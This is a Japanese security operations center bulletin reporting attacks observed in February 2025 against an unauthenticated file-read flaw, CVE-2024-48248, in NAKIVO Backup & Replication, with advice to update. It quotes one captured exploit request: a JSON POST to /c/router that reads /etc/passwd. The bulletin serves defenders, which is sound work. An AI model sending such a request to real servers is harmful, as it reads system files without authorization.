2025.03.14

2025年2月度 MBSD-SOCの検知傾向トピックス

NAKIVO Backup & Replicationの脆弱性（CVE-2024-48248）を狙った攻撃

　今月は、NAKIVO Backup & Replicationの脆弱性（CVE-2024-48248）を狙った攻撃を観測しました。本脆弱性は、2024/9/13(金)に公開されたもので、攻撃者に悪用された場合、認証なしで任意のファイルを読み取られてしまう恐れがあります。

　既にPoC（概念実証コード）が公開されているため、当該製品を使用されている場合は、早急に最新のバージョンにアップデートすることをお勧めします。

　下図は、本脆弱性を狙った攻撃の検知数推移です。弊社SOCでは2/27(木)に初観測しており、本記事を作成している3月以降も攻撃を観測しています。

図. CVE-2024-48248の脆弱性を狙った攻撃の検知数推移

　以下は、弊社SOCで検知した攻撃例です。「/etc/passwd」ファイルの読み取りを試みた通信となっています。

図. CVE-2024-48248の脆弱性を狙った攻撃例
POST /c/router HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.0 Safari/537.36 Content-Length: 137 Content-Type: application/json {""action"": ""STPreLoadManagement"", ""data"": [""/etc/passwd""], ""method"": ""getImageByPath"", ""sid"": """", ""tid"": ""y2brz"", ""type"": ""y2brz""}

　下表は、本脆弱性を狙った攻撃元国です。フランスからの攻撃を多数観測しています。